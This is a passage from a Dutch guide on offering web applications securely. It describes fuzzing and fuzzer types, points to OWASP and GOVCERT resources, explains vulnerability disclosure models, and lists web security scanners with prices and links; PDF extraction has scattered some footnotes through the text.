4.5.1 Principe Fuzzing is tegenwoordig een van de meest effectieve benaderingen om softwarebeveiliging te testen en nieuwe kwetsbaarheden te ontdekken. Bij fuzzing wordt random data als input voor een programma of webapplicatie gebruikt. De fouten die gemeld worden, moeten vervolgens worden bekeken.

Allereerst moet er gekeken worden welke software er geanalyseerd wordt, en welke input daarbij gebruikt wordt die door de gebruiker kan worden ingegeven. Hierbij kan gedacht worden aan een tekstveld in een webapplicatie, maar ook de

16https://addons.mozilla.org/en-US/firefox/addon/60/ 17https://addons.mozilla.org/en-US/firefox/addon/966/ 18http://www.ngssoftware.com/services/software-products.aspx

Webapplicaties veilig aanbieden

23

HTTP-headers, omgevingsvariabelen, registry keys, etc. Om de input te analyseren kunnen ook RFC's19

Daarna worden de waarden van deze input op een geautomatiseerde manier gegenereerd in vele varianten. Deze gemodificeerde data wordt vervolgens als input gebruikt voor het fuzzingprogramma. Er zijn twee typen fuzzers die gebruikt kunnen worden voor het genereren van de (semi-)random input data: fuzzers die random data genereren en die gebruiken als input voor de applicatie tijdens het fuzzingproces, en fuzzers die bestaande input enigszins muteren en daarmee het fuzzingproces ingaan.

of protocolbeschrijvingen van groot nut zijn. Deze geven namelijk precies aan wat voor data verwacht wordt.

De output van het fuzzingprogramma moet geanalyseerd worden. Hierbij wordt vooral gelet op uitzonderingen. Ten slotte moet uit deze analyse handmatig een kwetsbaarheid geëextraheerd worden.

4.5.2 Typen fuzzers Fuzzers kunnen gebruikt worden voor het analyseren van de beveiliging van verschillende type systemen. Er bestaan fuzzers voor lokale programma's, zoals clfuzz of iFUZZ, die allebei command line programma's testen door het invoeren van gegenereerde parameters.

Andere type fuzzers genereren bestanden die als input voor programma's gebruikt worden, zoals FileFuzz en SPIKEfile.

Interessanter wordt het in deze context bij remote fuzzers, die netwerkprotocollen (zoals FTP of MSRPC) door middel van het versturen van gemuteerde pakketten testen op kwetsbaarheden. Het bekendste voorbeeld van deze laatste is het fuzzing framework SPIKE.

Ook voor webapplicaties bestaan er fuzzing programma's, die voornamelijk zoeken naar SQL-injecties en cross-site scripting (XSS). Voorbeelden hiervan zijn het open source WebScarab van OWASP, en commerciële varianten SPI fuzzer en Codenomicon HTTP Test Tools.

19 RFC: Request for Comments, document dat protocollen of andere elementen met betrekking tot het internet beschrijft. Zie http://www.ietf.org/rfc.html.

Webapplicaties veilig aanbieden

24

5 VERDI EPIN G

5.1 Verdere verdieping

Een automatische tool voor veelgebruikte software zoals Microsoft Windows, Apache, Oracle e.d. geeft goede bescherming en past vaak ook in het beveiligingsbeleid dat is vastgesteld. Het doel van dit document is ook niet direct om beheerders aan te sturen om een (veel uitgebreidere) penetration test 20

Toch is het raadzaam voor de securitybeheerder om de achtergrond van kwetsbaarheden te kennen. Een zeer goede bron van informatie is het OWASP_Testing_Project

uit te gaan doen.

21 waar de "OWASP Testing Guide" (op het moment van schrijven versie 322

GOVCERT

) kan worden gedownload. In dit Engelstalige document wordt tevens dieper ingegaan op typen kwetsbaarheden.

23 heeft een, meer op beleidsniveau geschreven, Nederlandstalig document gepubliceerd: "Raamwerk Beveiliging Webapplicaties"24

Deze verdere verdieping kan toegepast worden wanneer de applicatie nieuw geïnstalleerd wordt en bijvoorbeeld na updates. Bij het vinden van een kwetsbaarheid zal het vaak gaan om nieuwe kwetsbaarheden. De ontwikkelaar of producent zal daarvan op de hoogte gesteld moeten worden. Het is raadzaam om in deze situatie de Security Officier of het CERT-team van de eigen instelling in te lichten. Hij of zij heeft vaak contacten om snel en effectief een issue aan het melden en kan tevens een impactanalyse te maken. Ook kan deze behulpzaam zijn in het classificeren van de kwetsbaarheid.

, met tips om webapplicaties veiliger aan te bieden.

Tijdens het aanmelden van een security issue krijgt men te maken met de zogenaamde disclosure.

5.2 Disclosure

Wanneer een beveiligingsonderzoeker een kwetsbaarheid heeft ontdekt, heeft hij drie opties:

• Hij kan de kwetsbaarheid voor zich houden.

• Hij kan de kwetsbaarheid alleen aan de softwareproducent melden en hopen dat deze het oplost.

• Hij kan de kwetsbaarheid geheel of gedeeltelijk onthullen.

20http://en.wikipedia.org/wiki/Penetration_test 21http://www.owasp.org/index.php/Category:OWASP_Testing_Project 22http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf 23http://www.govcert.nl 24http://www.govcert.nl/download.html?f=143

Webapplicaties veilig aanbieden

25

Wanneer alle details van een een kwetsbaarheid onthuld worden spreken we van een full disclosure. Dit wordt wel eens als bedreiging gezien omdat de wereld dan alle details van het probleem kent en daarmee misbruik gemaakt kan worden van de kwetsbaarheid zolang de softwareproducent nog geen patch gemaakt heeft en de beheerders de patch nog niet geïmplementeerd hebben.

Softwareproducenten hebben wel de neiging om te geloven in security through obscurity en nemen ruim de tijd voor het oplossen van het probleem in een nieuwe release. Dit tot ongenoegen van sommige beveiligingsonderzoekers want oudere versie blijven op deze manier nog steeds kwetsbaar. Google meent dat ernstige beveiligingslekken altijd binnen zestig dagen gepatcht moeten worden, dit in een reactie op het onthullen van een kwetsbaarheid in een Microsoft-product.

Een andere vorm van disclosure is de responsible disclosure. Dit lijkt op de full disclosure maar dan met inachtneming van een bepaalde periode tussen het melden aan de softwareproducent en het publiek maken. Op deze manier heeft de softwareproducent de tijd om een patch te maken. Een voor beeld hiervan is de Full Disclosure Policy (RFPolicy) v2.025

Microsoft heeft een nieuwe variant op de responsible disclosure ontwikkeld, de Coordinated Vulnerability Disclosure

.

26

25

. Hierbij wordt de producent in ieder geval van tevoren op de hoogte gesteld en wordt er gefocust op de coördinatie van het onthullen van het probleem aan het publiek. Softwareproducenten en beveiligingsonderzoekers moeten meer samenwerken om tijdig een reactie te geven en in geval van actief misbruik van de kwetsbaarheid kan openbaarmaking een juist actie zijn.

http://www.wiretrip.net/rfp/policy.html 26http://blogs.technet.com/b/msrc/archive/2010/07/22/announcing-coordinated-vulnerability-

disclosure.aspx

Webapplicaties veilig aanbieden

26

BIJ LA GE 1 OVERZI CH T TOOL S

Naam Doel of omschrijving OS27 Prijs28

Acunetix Web Vulnerability Scanner29

Web Vulnerability Scanner

W Tussen de € 995,- en de € 3100,- Acunetix WVSFree Edition30 (alleen XSS) is gratis

AppScan 31 Webapplication security testing tool W Express Edition USD $18,500.00

Burp Suite Professional32

Web Vulnerability Scanner

A GBP 149,- per jaar

Secunia CSI33 Authenticated vulnerability and patch scanner W Prijs onbekend

Hailstorm professional34

Webapplication assessment

W Prijs onbekend

Nessus Vulnerability scanner LWM $1200,- voor corporate users gratis voor thuisgebruikers

Nikto35 Web server scanner LWM GPL

OraScan36 Security of Oracle Web applications W Prijs onbekend

NGSSQuirreL for <db>3738

Vulnerability assessment scanner voor databases

W Prijs onbekend

Paros39 Webapplication security assessment A Freeware License

Powerfuzzer40 Highly automated and fully customizable web fuzzer

() A GNU General Public License Version 3

Skipfish41 Fully automated, active webapplication security reconnaissance tool

() LWMF Apache License 2.0

NTOSpider42 Webapplication vulnerability scanner N/A Prijs onbekend

W3AF43 Webapplication Attack and Audit Framework LW GNU General Public License Version 2

WebInspect 44 Webapplication security testing W? N/A

27W = Mircrosoft Windows, L = Linux , M = Mac OS X, F = FreeBSD, A = Any Platform 28Prijzen zijn een momentopname zoals gepresenteerd op de website van de producent. 29http://www.acunetix.com/vulnerability-scanner/ 30http://www.acunetix.com/cross-site-scripting/scanner.htm 31http://www-01.ibm.com/software/awdtools/appscan/ 32http://portswigger.net/suite/pro.html 33http://secunia.com/vulnerability_scanning/corporate 34http://www.cenzic.com/products/software/overview/ 35http://cirt.net/nikto2 36http://www.ngssoftware.com/services/software-products/Internet-Security/OraScan.aspx 37http://www.ngssoftware.com/services/software-products.aspx 38NGSSQuirreL is er o.a. voor SQL Server, Oracle, DB2, Sybase ASE en Informix 39http://parosproxy.org/ 40http://www.powerfuzzer.com/ 41http://code.google.com/p/skipfish/ 42http://www.ntobjectives.com/products/ntospider.php 43http://w3af.sourceforge.net/ 44https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-

200^9570_4000_100_